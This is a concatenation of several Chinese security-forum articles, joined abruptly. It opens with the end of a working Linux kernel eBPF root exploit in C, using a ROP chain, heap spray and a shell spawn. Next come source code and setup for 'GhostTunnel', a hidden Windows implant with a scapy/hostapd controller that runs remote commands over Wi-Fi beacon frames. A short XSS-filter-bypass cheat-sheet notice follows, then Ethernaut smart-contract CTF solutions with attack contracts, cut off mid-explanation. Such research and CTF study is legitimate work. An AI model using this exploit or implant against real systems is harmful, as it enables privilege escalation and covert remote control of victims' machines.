#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#define native_write_cr4 0xffffffff810037d5
#define POPRDX 0xffffffff81002dda
#define DUMMY 0
#define PREPARE_KERNEL_CRED 0xFFFFFFFF810E3D40 //0xffffffff810e3670
#define COMMIT_CREDS 0xFFFFFFFF810E3AB0
#define poprdiret 0xffffffff810013b9
#define popraxret 0xffffffff81029c71
#define swapgs 0xffffffff81c00d5a //0xffffffff81c0095f
#define iretq 0xffffffff8106d8f4
#define stack_pivot_gadget 0xffffffff81954dc8
#define stack_top_offset 0x674
#define krop_base_to_map 0x81954000
int rop_start=0x1444-8;
void* krop_base_mapped;
unsigned long user_cs, user_ss, user_rflags;
static void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:
: "memory");
}
void get_shell()
{
system("id");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
void get_root_payload(void)
{
commit_creds(prepare_kernel_cred(0));
}
unsigned long rop_chain[] = {
popraxret,
0x6f0,
0xffffffff81001c51,//native_write_cr4,
poprdiret,
0,
PREPARE_KERNEL_CRED,
0xffffffff81001c50, //: pop rsi ; ret
poprdiret,
0xffffffff81264e0b,//: push rax; push rsi; ret; //0xffffffff812646fb, //: push rax ; push rsi ; ret
COMMIT_CREDS,
swapgs,
0x246,
iretq,
(unsigned long)&get_shell,
0,//user_cs,
0,//user_rflags,
0,//krop_base_mapped + 0x4000,
0//user_ss
};
void * fakestack;
void prepare_krop(){
krop_base_mapped=mmap((void *)krop_base_to_map,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if (krop_base_mapped<0){
perror("mmap failed");
}
fakestack=mmap((void *)0xa000000000,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
*(unsigned long*)0x0000000081954dc8=popraxret;
*(unsigned long*)krop_base_to_map = 0;
*(unsigned long*)(krop_base_to_map+0x1000) = 0;
*(unsigned long*)(krop_base_to_map+0x2000) = 0;
*(unsigned long*)(krop_base_to_map+0x3000) = 0;
*(unsigned long*)(krop_base_to_map+0x4000) = 0;
*(unsigned long*)(krop_base_to_map+0x5000) = 0;
*(unsigned long*)(krop_base_to_map+0x6000) = 0;
*(unsigned long*)(krop_base_to_map+0x7000) = 0;
*(unsigned long*)(fakestack+0x4000) = 0;
*(unsigned long*)(fakestack+0x3000) = 0;
*(unsigned long*)(fakestack+0x2000) = 0;
*(unsigned long*)(fakestack+0x1000) = 0;
*(unsigned long*)(fakestack) = 0;
*(unsigned long*)(fakestack+0x10) = stack_pivot_gadget;
*(unsigned long*)(fakestack+0x7000) = 0;
*(unsigned long*)(fakestack+0x6000) = 0;
*(unsigned long*)(fakestack+0x5000) = 0;
rop_chain[12+2]=user_cs;
rop_chain[13+2]=user_rflags;
rop_chain[14+2]=(unsigned long)(fakestack + 0x6000);
rop_chain[15+2]=user_ss;
memcpy(krop_base_mapped+rop_start,rop_chain,sizeof(rop_chain));
puts("Rop Payload Initialized");
}
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
uint64_t r[1] = {0xffffffffffffffff};
long victim[SPRAY_NUMBER];
void spray(){
int i;
for(i=0;i<SPRAY_NUMBER;i++){
victim[i] = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
}
return;
}
void get_shell_again(){
puts("SIGSEGV found");
puts("get shell again");
system("id");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
int main(void)
{
signal(SIGSEGV,get_shell_again);
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
long res = 0;
*(uint32_t*)0x200011c0 = 0x17;
*(uint32_t*)0x200011c4 = 0;
*(uint32_t*)0x200011c8 = 0x40;
*(uint32_t*)0x200011cc = -1;
*(uint32_t*)0x200011d0 = 0;
*(uint32_t*)0x200011d4 = -1;
*(uint32_t*)0x200011d8 = 0;
*(uint8_t*)0x200011dc = 0;
*(uint8_t*)0x200011dd = 0;
*(uint8_t*)0x200011de = 0;
*(uint8_t*)0x200011df = 0;
*(uint8_t*)0x200011e0 = 0;
*(uint8_t*)0x200011e1 = 0;
*(uint8_t*)0x200011e2 = 0;
*(uint8_t*)0x200011e3 = 0;
*(uint8_t*)0x200011e4 = 0;
*(uint8_t*)0x200011e5 = 0;
*(uint8_t*)0x200011e6 = 0;
*(uint8_t*)0x200011e7 = 0;
*(uint8_t*)0x200011e8 = 0;
*(uint8_t*)0x200011e9 = 0;
*(uint8_t*)0x200011ea = 0;
*(uint8_t*)0x200011eb = 0;
save_state();
prepare_krop();
res = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
if (res != -1)
r[0] = res;
spray();
*(uint32_t*)0x200000c0 = r[0];
*(uint64_t*)0x200000c8 = 0;
*(uint64_t*)0x200000d0 = 0x20000140;
*(uint64_t*)0x200000d8 = 2;
uint64_t* ptr = (uint64_t*)0x20000140;
ptr[0]=1;
ptr[1]=2;
ptr[2]=3;
ptr[3]=4;
ptr[4]=5;
ptr[5]=6;
ptr[6]=0xa000000000;
ptr[7]=8;
syscall(__NR_bpf, 2, 0x200000c0, 0x20);
int i;
*(unsigned long*)(fakestack+0x7000) = 0;
*(unsigned long*)(fakestack+0x6000) = 0;
*(unsigned long*)(fakestack+0x5000) = 0;
for(i=0;i<SPRAY_NUMBER;i++){
close(victim[i]);
}
return 0;
}
编译:
gcc exp.c -o exp -static -w
运行:
# 总结
此漏洞的发现者与原作者是`ww9210`师傅,在此感谢`ww9210`师傅和`p4nda`师傅的帮助;
此EXP可能一次运行不能提权成功,但是多次运行可以成功,还是比较稳定的.... | 社区文章 |
# GhostTunne l 无线攻击简单复现记录
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前段时间看到大佬们提到GhostTunnel，出于好奇心，打开搜索引擎了解一下。翻到关于GhostTunnel一篇文章，其中介绍的思路让人眼前一亮：[HITB议题-Ghost Tunnel攻击隔离网络的WiFi隐蔽传输通道](https://www.anquanke.com/post/id/107485#h3-1)
## 0x01 什么是GhostTunnel
这篇文章大致介绍了一种针对WIFI的物理隔离情况下，结合HID的攻击思路，并且命名为GhostTunnel攻击。
GhostTunnel的攻击实现效果：在目标主机上通过远程植入或者HID设备植入客户端的情况下，通过WLAN的Beacon、Probe
Request和Probe
Response握手协议，实现在无线信号范围内，攻击者对目标主机进行控制行为。并且目标主机的WLAN不会真正实现连接，具有较强的隐蔽性。
这种攻击有以下这些优势：
HID设备只用于植入攻击代码，当植入完成就可以移除了。（HID攻击外的其他植入形式也是可以的）
没有正常的网络连接，可以绕过防火墙。
不会对现有的网络通信及连接状态造成影响。
跨平台支持。该攻击可用于任何拥有WiFi模块的设备，我们在Win7、Win10、Mac OSX上进行了测试。
可在几十米内工作，配合信号桥接设备理论上可做到无限远。
文章中给出了思路和原理、实战视频演示效果，并且给了公开的PPT，但是没有给出具体的细节和代码
搜索引擎相关只有一篇博客大致提供了参照：
[基于Ghost Tunnel的实践，实现Air
Gapping环境下的通信与远程执行](https://blog.csdn.net/liu_si_yan/article/details/80268937)
于是开始尝试进行实现（折腾），折腾的过程和大概如下：
1. 编写受害者端的程序，实现对网卡设备的监听和发送功能，监听指定SSID的Beacon和Probe Response帧，提取出携带的控制命令，发送Probe Request帧，进行被控端上线和命令执行结果的反馈。
2. 编写控制端程序，也是实现对网卡设备的监听和发送功能，监听发送过来的Probe Request帧，提取执行结果，发送携带要执行的指令的Beacon和Probe Response帧。
3. 通过Bad USB将被控端通过HID形式植入被攻击主机。（未完待续）
折腾的结果都放在了Github上，有需要的小伙伴可以看看：
<https://github.com/MRdoulestar/yunsle_ghost_tunnel>
另外，和师兄的研究整合后，师兄的项目地址：
<https://github.com/JcQSteven/GhostTunnel?from=timeline>
## 0x02 Windows被控端
被控端需要完成：
1、发送包含特定信息的Probe Request请求。
2、监听Beacon和Probe Response帧，提取命令进行执行，命令以ccc开头作为掩码。
根据公开的PPT中介绍，选用了Windows的API来实现——Native WIFI API，其中主要涉及到的函数：
WlanOpenHandle 打开Wlan的句柄
WlanEnumInterfaces 枚举网络设备
WlanScan 发起ProbeRequest请求
WlanGetAvailableNetworkList 获取可用接入点
WlanGetNetworkBssList 获得Bss列表
所有相关API以及相关数据结构的介绍、使用可以查看：
<https://msdn.microsoft.com/en-us/library/ms706274(v=vs.85).aspx>
同时，需要做到控制台程序的隐蔽执行，控制程序在启动后需要将自身隐蔽起来，这里同样使用Windows的API来实现：
HWND hwnd;
hwnd = FindWindow(L"ConsoleWindowClass", NULL); //处理顶级窗口的类名和窗口名称匹配指定的字符串,不搜索子窗口。
if (hwnd)
{
ShowWindow(hwnd, SW_HIDE); //设置指定窗口的显示状态
}
最后，这里直接贴出被控端主要代码的代码框架，我们使用”command ok!!!!!!.”作为被控端的特殊标记：
//payload数据结构
struct ie_data
{
unsigned char id;
unsigned char len;
unsigned char val[1];
};
int wmain()
{
HWND hwnd;
hwnd = FindWindow(L"ConsoleWindowClass", NULL); //处理顶级窗口的类名和窗口名称匹配指定的字符串,不搜索子窗口。
if (hwnd)
{
ShowWindow(hwnd, SW_HIDE); //设置指定窗口的显示状态
}
// 申明初始化变量
HANDLE hClient = NULL;
DWORD dwMaxClient = 2; //
DWORD dwCurVersion = 0;
DWORD dwResult = 0;
int iRet = 0;
WCHAR GuidString[40] = { 0 };
int i;
/* variables used for WlanEnumInterfaces */
PWLAN_INTERFACE_INFO_LIST pIfList = NULL;
PWLAN_INTERFACE_INFO pIfInfo = NULL;
//AVAILABLE属性
PWLAN_AVAILABLE_NETWORK_LIST pBssList = NULL;
PWLAN_AVAILABLE_NETWORK pBssEntry = NULL;
//添加的Bss属性
//PWLAN_BSS_ENTRY bss_entry = NULL;
int iRSSI = 0;
//封装payload
struct ie_data *piedata = NULL;
int response_len = 0;
char *response = NULL;
//yunsle定义len和buf
int len = 18;
char *buf = "command ok!!!!!!.";
response_len = sizeof(WLAN_RAW_DATA) - 1 + sizeof(struct ie_data) - 1 + len;
response = (char *)malloc(response_len);
memset(response, '', response_len);
//yunsle定义pwlan_data的类型为PWLAN_RAW_DATA
PWLAN_RAW_DATA pwlan_data = (PWLAN_RAW_DATA)response;
pwlan_data->dwDataSize = sizeof(struct ie_data) - 1 + len;
piedata = (struct ie_data *)&pwlan_data->DataBlob[0];
piedata->id = (char)221;
piedata->len = len;
//buf为要发送的数据（最大长度240），len为数据长度
memcpy(&piedata->val[0], buf, len);
//循环接收命令
while (true) {
//打开wlan句柄
dwResult = WlanOpenHandle(dwMaxClient, NULL, &dwCurVersion, &hClient);
if (dwResult != ERROR_SUCCESS) {
...........
}
//枚举wlan设备
dwResult = WlanEnumInterfaces(hClient, NULL, &pIfList);
if (dwResult != ERROR_SUCCESS) {
...........
}
else {
...........
}
//发送payload——————start
PDOT11_SSID pdo = new DOT11_SSID;
pdo->uSSIDLength = 19;
UCHAR *ucp = NULL;
ucp = (UCHAR *)&pdo->ucSSID;
ucp = (UCHAR *)malloc(pdo->uSSIDLength);
memset(ucp, '', pdo->uSSIDLength);
strcpy((char*)ucp, "yunsle_ghost_tunnel");
dwResult = WlanScan(hClient, &pIfInfo->InterfaceGuid, NULL, pwlan_data, NULL);
if (dwResult != ERROR_SUCCESS) {
...........
}
else {
...........
}
//发送payload——————end
free(pdo);
//获取可用AP
dwResult = WlanGetAvailableNetworkList(hClient,
&pIfInfo->InterfaceGuid,
0,
NULL,
&pBssList);
if (dwResult != ERROR_SUCCESS) {
...........
}
else {
...........
//这里如果j从0开始，会有重复SSID项，原因不明，但不是引起多次执行命令的原因
for (int j = (pBssList->dwNumberOfItems) / 2; j < pBssList->dwNumberOfItems; j++) {
pBssEntry =
(WLAN_AVAILABLE_NETWORK *)& pBssList->Network[j];
//获得BSS的LIST
//为了接收Probe Response帧，并解析出指令代码
PWLAN_BSS_LIST ppWlanBssList;
DWORD dwResult2 = WlanGetNetworkBssList(hClient, &pIfInfo->InterfaceGuid,
&pBssEntry->dot11Ssid,
pBssEntry->dot11BssType,
pBssEntry->bSecurityEnabled,
NULL,
&ppWlanBssList);
//错误处理
if (dwResult2 != ERROR_SUCCESS) {
...........
}
if (pBssEntry->dot11Ssid.uSSIDLength == 0)
...........
else {
//循环遍历AVAILABLE的BSSLisst数据
for (int z = 0; z < ppWlanBssList->dwNumberOfItems; z++)
{
WLAN_BSS_ENTRY *bss_entry = &ppWlanBssList->wlanBssEntries[z];
//添加判断是否来自控制端——yunsle_ghost_tunnel
if (stricmp((char *)bss_entry->dot11Ssid.ucSSID, "yunsle_ghost_tunnel") == 0) {
printf("找到控制端!n");
char *pp = (char *)((unsigned long)bss_entry + bss_entry->ulIeOffset);
int total_size = bss_entry->ulIeSize;
//printf("长度：%d",total_size);
for (;;) {
ie_data * ie = (struct ie_data *)pp;
if ((int)ie->id == 221)
{
//printf("221!!!!!n");
// eg. "ccccmd /c notepad"
char *magic = (char *)&ie->val[0];
printf(magic);
printf("n");
if (strncmp(magic, "ccc", 3) == 0)
{
char command[240] = { 0 };
strncpy(command, magic + 3, ie->len - 3);
//执行命令
printf("提取命令：%sn",command);
WinExec(command, SW_NORMAL);
exit(1); //退出
break;
}
}
pp += sizeof(struct ie_data) - 1 + (int)ie->len;
total_size -= sizeof(struct ie_data) - 1 + (int)ie->len;
if (!total_size)
{
break; // over
}
}
}
}
// wprintf(L"n");
}
}
}
//间隔
Sleep(3000);
}
if (pBssList != NULL) {
WlanFreeMemory(pBssList);
pBssList = NULL;
}
if (pIfList != NULL) {
WlanFreeMemory(pIfList);
pIfList = NULL;
}
return 0;
}
## 0x03 GhostTunnel的控制端——Hostapd
控制端程序要完成的功能：
1、监听Probe Request请求，监听到包含特殊标记”command ok!!!!!!.”的请求则进行处理。
2、将要执行的指令通过Probe Request或Beacon帧形式发送
首先尝试使用Hostapd进行简单实现，Hostapd是一个Linux下将无线网卡作为热点提供Wifi的神器
在这里，它也能够作为控制端——可以发送添加自定义内容的Beacon帧
需要注意，如果Ubuntu或者Kali碰到Hostapd开启失败的情况：
nl80211: Could not configure driver mode
nl80211 driver initialization failed.
hostapd_free_hapd_data: Interface wlan0 wasn't started
可以尝试以下命令解决：
#改变NetworkManager里的状态,关闭wifi，同时软锁定
nmcli nm wifi off
#启用wifi设备，不同于网络状态中的启用wifi(后者改变NetworkManager里的状态)
sudo rfkill unblock wlan
hostapd的配置文件——hostapd.conf:
interface=wlan0 监听wlan0设备
#driver=n180211 可以注释掉，自动选择
ssid=yunsle_ghost_tunnel wifi的ssid名称
hw_mode=g 802.11/g模式
channel=1 信道1
auth_algs=1
#附加数据，回应probe response
#dd是标识，0e是后面命令的长度，0e之后是ccccmd /c calc的16进制表示（CCC是掩码标识）
vendor_elements=dd0e636363636d64202f632063616c63
开启被控端后，执行hostapd -t hostapd.conf的效果：
## 0x04 GhostTunnel的控制端——Python scapy
使用hostapd终究不是自己定制化的，但是Linux下针对Wifi是较为复杂的C编程，同时又要查很多API
这时候想到Python的scapy库，之前用它作为抓包工具，印象中也可以构造很多类型的包进行发送，于是使用scapy开始尝试
在这种解决方案下，需要手动开启无线网卡的混杂模式，这样才能通过scapy正常抓到802.11的所有包，开启无线网卡混杂模式的方法有很多:
1. 使用iwconfig，先ifconfig wlan0 down，然后iwconfig wlan0 mode monitor设置混杂模式，最后ifconfig wlan0 up即可。
2. 使用airodump-ng wlan0也可以直接将wlan0设置为混杂模式。
Python使用scapy实现的功能逻辑很简单：
sniff函数监听wlan0上所有数据，包含特殊标记”command ok!!!!!!.”则提示输入执行的命令，最后发送响应到被控端。
python代码如下(python2.7)：
#coding:utf-8
from scapy.all import *
import binascii
#设置ssid和监听设备名
netSSID = 'yunsle_ghost_tunnel' #Network name here
iface = 'wlan0' #Interface name here
#设置发送的帧数据
beacon = Dot11Beacon(cap='ESS+privacy')
essid = Dot11Elt(ID='SSID',info=netSSID, len=len(netSSID))
#处理控制函数
def handle(packet):
dot = packet.getlayer(Dot11)
if dot!=None and dot.type==0 and dot.subtype==4:
data=str(packet)
if data.find("command")>=0:
# packet.show()
print "#wake up#n"
#获取上线被控端的MAC地址
ct_addr2 = packet.addr2
#要执行的命令
cmd = raw_input("input the command to excute:n")
# cmd = "cmd /c notepad"
#处理命令编码
cmd_b = ""
for i in cmd:
cmd_b += binascii.a2b_hex(hex(ord(i))[2:4])
print cmd_b
payload = Dot11Elt(ID=221, info=('x63x63x63'+cmd_b))
#beacon_dot11 = Dot11(type=0, subtype=5, addr1=ct_addr2,
#addr2='22:22:22:22:22:22', addr3='33:33:33:33:33:33')
response_dot11 = Dot11(subtype=5, addr1=ct_addr2,
addr2='22:22:22:22:22:22', addr3='33:33:33:33:33:33',SC=22222)
response_frame = RadioTap()/response_dot11/Dot11ProbeResp()/Dot11Elt(ID='SSID', info="yunsle_ghost_tunnel")/payload
#发送3次，每次300包
for i in range(0,3):
sendp(response_frame, iface=iface, count=300)
exit(1)
if __name__ == "__main__":
print "waiting for wake up......."
#监听函数
sniff(iface=iface, prn=handle)
效果：
* * *
## 0x05 参考资料和过坑指南
https://msdn.microsoft.com/zh-cn/library/ms706716
WlanEnumInterfaces function函数介绍包括示例代码
https://msdn.microsoft.com/en-us/library/ms706274(v=vs.85).aspx
Native Wifi Functions
https://blog.csdn.net/liu_si_yan/article/details/80268937
基于Ghost Tunnel的实践，大概思路引导
http://www.freebuf.com/articles/wireless/171108.html
freebuf上的源地址
https://blog.csdn.net/qq_20448859/article/details/54131187
Hostapd在ubuntu下的安装
https://blog.csdn.net/perry_peng/article/details/6067590
使用汇编使用Native Wifi API的大牛
https://www.jianshu.com/p/c3a8abc8f329
Kali安装HostAPd
https://blog.csdn.net/gsls200808/article/details/39370597
hostapd无法启动热点问题解决（非网卡不支持）
https://zhoujianshi.github.io/articles/2016/%E6%9E%84%E9%80%A0%E5%B9%B6%E5%8F%91%E9%80%81Beacon%E5%B8%A7%E4%BB%A5%E4%BC%AA%E9%80%A0%E4%BB%BB%E6%84%8FWiFi%E7%83%AD%E7%82%B9/index.html
Linux下使用C写的发送Beacon帧
https://www.4armed.com/blog/forging-wifi-beacon-frames-using-scapy/
使用Python的scapy发送Beacon帧
问题与解决：
nl80211: Could not configure driver mode
nl80211 driver initialization failed.
hostapd_free_hapd_data: Interface wlan0 wasn't started
解决方法:
#改变NetworkManager里的状态,关闭wifi，同时软锁定
sudo nmcli nm wifi off
#启用wifi设备，不同于网络状态中的启用wifi(后者改变NetworkManager里的状态)
sudo rfkill unblock wlan
# iw dev wlan0 interface add mon0 type monitor# ifconfig mon0 up
直接使用airodump-ng wlan0时airodump-ng也会将wlan0设置为监听模式 | 社区文章 |
作者：Masato Kinugawa
这个页面是对于XSS Auditor、XSS 过滤器的bypass的一个总结，适用于最新版本的Chrome / Safari，IE 11 / Edge。
你可以进行漏洞验证，针对攻击性提供有力的证明，如果你是网络安全研究人员，请帮助我们提供更多的bypass。你可以补充发布任何场景下的bypass，即使没有在实际情况中验证过的，不管能不能成功bypass，对于基本的XSS方法还是有帮助的。
项目地址：
<https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet>
* * * | 社区文章 |
[Ethernaut题解2022版（上）链接](https://xz.aliyun.com/t/11059#toc-0)
# 13\. Gatekeeper One
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
合约意图很明显，就是让我们通过`gateOne`、`gateTwo`、`gateThree`三个函数修饰器的检查，执行enter函数即可。分别分析一下通过的条件。
## 13.1 gateOne
对gateOne来说，msg.sender是直接调用合约的地址，而tx.origin则是这笔交易的原始调用者，举个例子，如果有合约A、B、C、D，一次合约调用是D->B->A->C，那么对于C来说，msg.sender是A，tx.origin是D。因此只需要在外部设置一个中间合约，再依次对`enter`函数发起调用即可满足`msg.sender
!= tx.origin`
## 13.2 gateTwo
查询官方文档可知，`gasleft`函数返回的是交易剩余的gas量，这个检查的条件是让gasleft为8191的整数倍。我们只需要设置gas为8191*n+x即可，其中x是我们本次交易需要消耗的gas，这个值可以通过debug得到，然后通过`call`方式远程调用函数可以指定需要消耗的gas，只需指定gas为对应的x即可。
> 这个bypass属实坐牢，因为要通过debug方式获得题目对应消耗的gas的话，必须跟题目使用相同的编译器版本和对应的优化选项，然而并不知道题目版本。
还有另一种思路，就是爆破x，因为gas消耗总归是有个范围的，我们只需要在这个范围内爆破即可，见下面的攻击代码。
## 13.3 gateThree
这个主要考察了solidity的类型转换规则，[参考链接](https://www.tutorialspoint.com/solidity/solidity_conversions.htm#:~:text=Solidity%20compiler%20allows%20implicit%20conversion,value%20not%20allowed%20in%20uint256.)
这里以`_gateKey`是`0x12345678deadbeef`为例说明
* `uint32(uint64(_gateKey))`转换后会取低位，所以变成`0xdeadbeef`，`uint16(uint64(_gateKey))`同理会变成`0xbeef`，uint16和uint32在比较的时候，较小的类型uint16会在左边填充0，也就是会变成0x0000beef和0xdeadbeef做比较，因此想通过第一个require只需要找一个形为`0x????????0000????`这种形式的值即可，其中?是任取值。
* 第二步要求双方不相等，只需高4个字节中任有一个bit不为0即可
* 通过前面可知，`uint32(uint64(_gateKey))`应该是类似`0x0000beef`这种形式，所以只需要让最低的2个byte和tx.origin地址最低的2个byte相同即可，也就是，key的最低2个字节设置为合约地址的低2个字节。这里tx.origin就是metamask的账户地址
## 13.4 exploit
于是写出最终攻击代码如下，其中gas爆破部分参考[这个](https://github.com/OpenZeppelin/ethernaut/blob/solidity-05/contracts/attacks/GatekeeperOneAttack.sol):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface GatekeeperOne {
function entrant() external returns (address);
function enter(bytes8 _gateKey) external returns (bool);
}
contract attack {
GatekeeperOne gatekeeperOne;
address target;
address entrant;
event log(bool);
event logaddr(address);
constructor(address _addr) public {
// 设置为题目地址
target = _addr;
}
function exploit() public {
// 后四位是metamask上账户地址的低2个字节
bytes8 key=0xAAAAAAAA00004261;
bool result;
for (uint256 i = 0; i < 120; i++) {
(bool result, bytes memory data) = address(
target
).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}
emit log(uint32(uint64(key)) == uint16(uint64(key)));
emit log(uint32(uint64(key)) != uint64(key));
emit log(uint32(uint64(key)) == uint16((address(tx.origin))));
emit log(result);
}
function getentrant() public {
gatekeeperOne = GatekeeperOne(target);
entrant = gatekeeperOne.entrant();
emit logaddr(entrant);
}
}
执行exploit后执行`getentrant`函数查看进入者地址，可以通过日志看到已经改变为我们的地址，提交即可
这个题算是第一个真正有点意思的。
# 14\. Gatekeeper Two
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
* `gateOne`同上，部署一个合约即可绕过
* `gateTwo`涉及到以太坊的汇编，其中`caller()`函数返回`call sender`，也就是call的发起者，而`extcodesize`则是返回对应地址的合约代码的大小(size)，如果`extcodesize`的参数是用户地址则会返回0，是合约地址则返回了调用合约的代码大小。关于这点，需要使用一个特性绕过：当合约正在执行构造函数`constructor`并部署时，其extcodesize为`0`。换句话说，如果我们在`constructor`中调用这个函数的话，那么`extcodesize(caller())`返回0，因此可以绕过检查。
* `gateThree`，一个简单的异或，我们只需要改`msg.sender`为`address(this)`即可计算得到满足条件的key
攻击代码如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract attack {
address public target;
bytes8 key;
constructor(address _addr) public {
target=_addr;
key=bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0)-1));
(bool result,)=target.call(abi.encodeWithSignature("enter(bytes8)",key));
}
}
# 15\. Naught Coin
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
// import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
>
> 这个题注意一点，现在import里面那个合约会提示版本不对，因为现在ERC20.sol已经更新到v0.8.0了，通过查历史发现`v3.2.0`版本还支持0.6.0编译器，因此可以修改一下导入的ERC20合约的地址
根据构造代码可以看到，题目一开始将该代币中所有的token都转移给了我们的账户，通关的要求就是我们把手里的代币全部转给另外一个。但题目对erc20的转账函数`transfer`做了限制，`player`只有10年后才能转账，因此需要绕过。
这里很简单，因为`localTokens`只限制了`transfer`函数的msg.sender不能为player,但在限制erc20标准中还有另一个转账函数`transferFrom`，其函数原型如下：
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
但注意一点是，在转账前需要先使用approve函数授权，然后再调用此函数转账即可。代码很简单，在题目控制台执行
//secondaddr是另外一个账户地址
secondaddr='0xCB3D2F536f533869f726F0A3eA2907CAA67DDca1'
totalvalue='1000000000000000000000000'
//给自己授权
await contract.approve(player,totalvalue)
await contract.transferFrom(player,secondaddr,totalvalue)
这个题目总结起来就是以下两点：
* erc20合约标准中有2个转账函数，如果只对其中一个做限制我们可以使用另一个绕过
* 转账需要授权。
# 16\. Preservation
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
本题的关键点在于`delegatecall`，`delegatecall`具体用法可以看第6题题解。它的功能相当于我们切换到执行地址的上下文环境中去执行函数。而这里2个函数中的`delegatecall`调用的都是`setTime`这个函数，可以看到这个函数的作用是修改其storage方式存储的第一个变量`storedTime`。
首先，分别画一下两个合约中storage变量存储空间图，对于`Preservation`合约，其有4个变量，变量分布情况如下：
===================================================
unused | timeZone1Library
--------------------------------------------------- slot 0
12 bytes | 20 bytes
===================================================
unused | timeZone2Library
--------------------------------------------------- slot 1
12 bytes | 20 bytes
===================================================
unused | owner
--------------------------------------------------- slot 2
12 bytes | 20 bytes
===================================================
storedTime
--------------------------------------------------- slot 3
32 bytes
===================================================
而对于`LibraryContract`合约，如下:
===================================================
storedTime
--------------------------------------------------- slot 0
32 bytes
===================================================
除此之外，还需要说明一点：经过多次调试发现，当该合约初始化时，`Preservation`的slot
0上（也就是`timeZone1Library`变量)存储的是`Preservation`合约的地址，而slot
1(也就是`timeZone2Library`)上存储的是`LibraryContract`合约的地址，slot
2上存的owner地址，我们的最终目的就是修改slot 2上的地址为我们的地址。
由于上述存储关系，当我们调用`setFirstTime`函数时，实际上是在`Preservation`合约内部调用`setTime`函数，那么此时修改的storage存储上的第一个变量实际上是`timeZone1Library`所在的slot
